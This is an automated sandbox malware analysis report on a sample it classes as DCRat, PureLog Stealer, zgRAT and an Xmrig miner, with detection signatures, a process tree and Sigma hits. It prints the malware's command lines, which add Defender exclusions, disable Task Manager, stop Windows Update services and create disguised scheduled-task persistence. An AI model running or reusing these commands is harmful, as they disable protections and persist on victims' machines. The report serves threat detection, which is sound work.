Edit tour

Windows Analysis Report
AstralprivateDLL.exe.bin.exe

Overview

General Information

Sample name:	AstralprivateDLL.exe.bin.exe
Analysis ID:	1590023
MD5:	c9f4668c97eb480751e1bbf6173fc4e1
SHA1:	528deade2bc88cafc26f78f7c73490b66abdf370
SHA256:	b9f8572fc7a8a6c2230434abb7190ae860f28386b3f0d5e5ee3754c6befca240
Tags:	DCRatexeNyashTeamuser-MalHunter3
Infos:

Detection

DCRat, PureLog Stealer, Xmrig, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Sigma detected: Stop multiple services

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Connects to a pastebin service (likely for C&C)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates autostart registry keys with suspicious values (likely registry only malware)

Creates multiple autostart registry keys

Creates processes via WMI

Disable Task Manager(disabletaskmgr)

Disables the Windows task manager (taskmgr)

Drops PE files with benign system names

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Stops critical windows services

Suspicious powershell command line found

Uses Register-ScheduledTask to add task schedules

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Powershell In Registry Run Keys

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

AstralprivateDLL.exe.bin.exe (PID: 7116 cmdline: "C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe" MD5: C9F4668C97EB480751E1BBF6173FC4E1)

Astral private DLL.exe (PID: 5040 cmdline: "C:\Users\user\AppData\Local\Temp\Astral private DLL.exe" MD5: C28FADCE847B20E2442ABA2F2F9F5699)

wscript.exe (PID: 5216 cmdline: "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6472 cmdline: C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4960 cmdline: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

ServerComponenthostMonitorDll.exe (PID: 6808 cmdline: "C:\containerperf/ServerComponenthostMonitorDll.exe" MD5: 01287AA2A0B5D2178CB13C477A04DC21)

csc.exe (PID: 2424 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 4488 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF04D.tmp" "c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

twain_32.exe (PID: 4948 cmdline: "C:\Users\user\AppData\Local\Temp\twain_32.exe" MD5: 1FF26B7D334CD22E726CAF72A4208B96)

dialer.exe (PID: 1456 cmdline: C:\Windows\System32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

MpCmdRun.exe (PID: 1720 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 3720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1720 cmdline: schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Conhost.exe (PID: 9200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5800 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 648 cmdline: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4924 cmdline: sc stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 1016 cmdline: sc stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 2516 cmdline: sc stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 6520 cmdline: sc stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3272 cmdline: sc stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 4108 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3492 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 1016 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 5812 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 6064 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 1460 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\en-GB\WmiPrvSE.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\en-GB\WmiPrvSE.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\containerperf\ServerComponenthostMonitorDll.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\containerperf\ServerComponenthostMonitorDll.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows Defender\Platform\sihost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows Defender\Platform\sihost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\appcompat\powershell.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\appcompat\powershell.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\appcompat\powershell.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\appcompat\powershell.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\containerperf\lsass.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\containerperf\lsass.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000000.1791002299.0000000000222000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1728765563.0000000006653000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1729671319.000000000665D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
1.3.Astral private DLL.exe.66ab718.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.Astral private DLL.exe.66ab718.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.Astral private DLL.exe.66a1718.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.Astral private DLL.exe.66a1718.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.Astral private DLL.exe.66a1718.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.Astral private DLL.exe.66a1718.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.Astral private DLL.exe.66ab718.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.Astral private DLL.exe.66ab718.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc, ProcessId: 648, ProcessName: cmd.exe

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\containerperf\ServerComponenthostMonitorDll.exe, ProcessId: 6808, TargetFilename: C:\Windows\en-GB\WmiPrvSE.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }, ProcessId: 1460, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 5800, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\appcompat\powershell.exe", EventID: 13, EventType: SetValue, Image: C:\containerperf\ServerComponenthostMonitorDll.exe, ProcessId: 6808, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\appcompat\powershell.exe", EventID: 13, EventType: SetValue, Image: C:\containerperf\ServerComponenthostMonitorDll.exe, ProcessId: 6808, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\containerperf/ServerComponenthostMonitorDll.exe", ParentImage: C:\containerperf\ServerComponenthostMonitorDll.exe, ParentProcessId: 6808, ParentProcessName: ServerComponenthostMonitorDll.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", ProcessId: 2424, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe, ProcessId: 7116, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Powershell In Registry Run Keys

Source: Registry Key set

Author: frack113, Florian Roth (Nextron Systems): Data: Details: "C:\Windows\appcompat\powershell.exe", EventID: 13, EventType: SetValue, Image: C:\containerperf\ServerComponenthostMonitorDll.exe, ProcessId: 6808, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 1456, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Astral private DLL.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, ParentProcessId: 5040, ParentProcessName: Astral private DLL.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe" , ProcessId: 5216, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\containerperf\ServerComponenthostMonitorDll.exe, ProcessId: 6808, TargetFilename: C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

